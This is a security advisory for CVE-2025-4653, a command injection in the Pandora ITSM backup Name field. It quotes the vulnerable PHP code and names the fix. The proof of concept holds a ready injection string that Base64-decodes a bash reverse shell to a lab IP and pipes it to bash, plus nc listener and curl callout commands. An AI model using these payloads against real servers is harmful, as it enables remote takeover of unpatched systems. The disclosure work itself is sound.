CVE-2025-4653 — Pandora ITSM Backup Name Command Injection

Overview

CVE-2025-4653 is an authenticated OS command injection vulnerability in the Pandora ITSM backup workflow. The issue was identified while testing Pandora ITSM Enterprise Edition 5.0.105 Build 250129 MR98.

An administrator can place shell metacharacters in the backup Name field. That value becomes part of backup file and directory names and is later interpolated into commands executed by PHP’s exec() function.

Attack prerequisites

Exploitation requires a valid Pandora ITSM administrator account with access to Setup → Backup.

Proof of concept

1. Sign in to Pandora ITSM as an administrator.
2. Navigate to Setup → Backup.
3. Place a command-injection payload in the Name field.
4. Select Only Files as the backup mode.
5. Select Do a backup now to trigger command execution.

The original research used Base64 encoding and IFS to avoid characters that interfere with backup-name processing.

Reverse shell

bash -i >& /dev/tcp/192.168.201.8/4444 0>&1
echo -n "bash -i >& /dev/tcp/192.168.201.8/4444 0>&1"|base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==

Injected value:

;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==|base64${IFS}-d|bash;

A listener can be started with nc -lvnp 4444. A less intrusive validation uses ;curl${IFS}192.168.201.8; together with python3 -m http.server 80.

The issue was confirmed on Pandora ITSM Enterprise Edition 5.0.105 Build 250129 MR98 running Ubuntu 22.04.

Root cause

The vulnerable implementation is in /var/www/html/pandoraitsm/enterprise/include/functions_backup.php, in create_backup($name, $mode, &$real_name, $from_programming = false).

The user-controlled $name value is transformed into $real_name and then incorporated into SQL and attachment backup paths. Those paths are subsequently used in command strings passed to exec() without shell-safe escaping.

// begin vulnerable code section
function create_backup ($name, $mode, &$real_name, $from_programming = false) {
        global $config;

        $time = new DateTime('now');
        $time = $time->format("d-m-y-h-i-s");

        if ($real_name == "") {
                $name_without_blank = str_replace(" ", "_space_", safe_output($name));
                //$real_name = "IntegriaBackup---" . 0 . "---" . $mode . "---" . $name_without_blank . "---" . substr(MD5(rand(1000, 1000000000)), 10) . "---" . $time;
                $real_name = "IB---" . 0 . "---" . $mode . "---" . $name_without_blank. "---". $time;
        }

        $sqlfile = "";
        $attachmentsfile = "";
        switch ($mode) {
                case 0:
                        $sqlfile = "db_backup_" . $real_name . ".sql";
                        break;
                case 1:
                        $attachmentsfile = BACKUP_FULLPATH . '/' . "attachments_backup_" . $real_name . "/";
                        mkdir($attachmentsfile);
                        break;
                case 2:
                        $sqlfile = "db_backup_" . $real_name . ".sql";

                        $attachmentsfile = BACKUP_FULLPATH . '/' . "attachments_backup_" . $real_name . "/";
                        mkdir($attachmentsfile);
                        break;
        }

        $uname = php_uname();
        $so_win = preg_match("/(.)*Windows(.)*/i",$uname);

        if ($so_win) {
                $config['homedir'] = str_replace("/", "\\", $$config['homedir']);
                $command_copy = sprintf ('xcopy ' . $config['homedir'] . 'attachment\* %s ', $attachmentsfile);
        }
        else {
                $command_copy = sprintf ('cp -r ' . $config['homedir'] . 'attachment/* %s ', $attachmentsfile);
        }
        $process = true;

        if ($sqlfile != "") {
                if ($config["dbpass"] == "") {
                        $command = sprintf ('mysqldump -h %s -u %s %s > %s ', $config['dbhost'], $config['dbuser'], $config['dbname'],$sqlfile);
                } else {
                        $command = sprintf ('mysqldump -h %s -u %s -p%s %s > %s ',$config['dbhost'], $config['dbuser'],$config['dbpass'], $config['dbname'],$sqlfile);
                }
                // this is where the actual RCE gets executed
                exec($command);
        }
        // this is where the actual RCE gets executed
        if ($attachmentsfile != "") {
                $result = exec($command_copy);
        }
// end vulnerable code section

Both the database and attachment backup paths can therefore carry shell syntax originating from the backup name.

Impact

A Pandora ITSM administrator can execute arbitrary operating-system commands on the application host. This converts application-level administrative access into server-side code execution.

Exploit development

A Metasploit module was developed and submitted upstream as PR 20399.

Remediation

Upgrade to Pandora ITSM 5.0.106 or later.

References

• CVE-2025-4653

Credits

Discovery: h00die-gr3y.